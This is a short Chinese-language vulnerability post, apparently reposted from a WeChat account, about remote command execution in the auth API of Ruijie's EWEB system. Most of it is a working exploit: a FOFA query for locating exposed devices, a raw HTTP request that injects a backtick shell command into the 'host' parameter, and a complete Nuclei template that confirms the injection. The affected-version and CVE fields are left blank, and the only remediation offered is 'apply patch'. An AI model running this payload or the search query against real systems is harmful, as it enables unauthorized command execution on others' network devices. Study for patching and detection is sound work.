锐捷网络-EWEB系统auth接口存在远程命令执行漏洞 附POC

1. 锐捷网络-EWEB系统简介

锐捷网络-EWEB系统

2.漏洞描述

锐捷网络-EWEB系统auth接口存在远程命令执行漏洞

CVE编号:

CNNVD编号:

CNVD编号:

3.影响版本

锐捷网络-EWEB系统

4.fofa查询语句

body="cgi-bin/luci" && body="#f47f3e"

5.漏洞复现

POST /cgi-bin/luci/api/auth HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
 
{"method":"checkNet","params":{"host":"`echo Hello tt!>tt.txt`"}}

漏洞数据包：

6.POC&EXP

id: Ruijie-EWEB-auth-REC
 
info:
  name: auth接口存在RCE漏洞。
  author: tt
  severity: high
  metadata: 
    fofa-query: body="cgi-bin/luci" && body="#f47f3e"
variables:
  filename: "{{to_lower(rand_base(10))}}"
  boundary: "{{to_lower(rand_base(20))}}"
http:
  - raw:
      - |
        POST /cgi-bin/luci/api/auth HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
 
        {"method":"checkNet","params":{"host":"`echo Hello tt!>{{filename}}.txt`"}}
 
 
      - |
        GET /cgi-bin/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
 
 
    matchers:
      - type: dsl
        dsl:
          - status_code==200 && contains_all(body,"tt!")

7.整改意见

打补丁

原文始发于微信公众号（南风漏洞复现文库）：锐捷网络-EWEB系统auth接口存在远程命令执行漏洞 附POC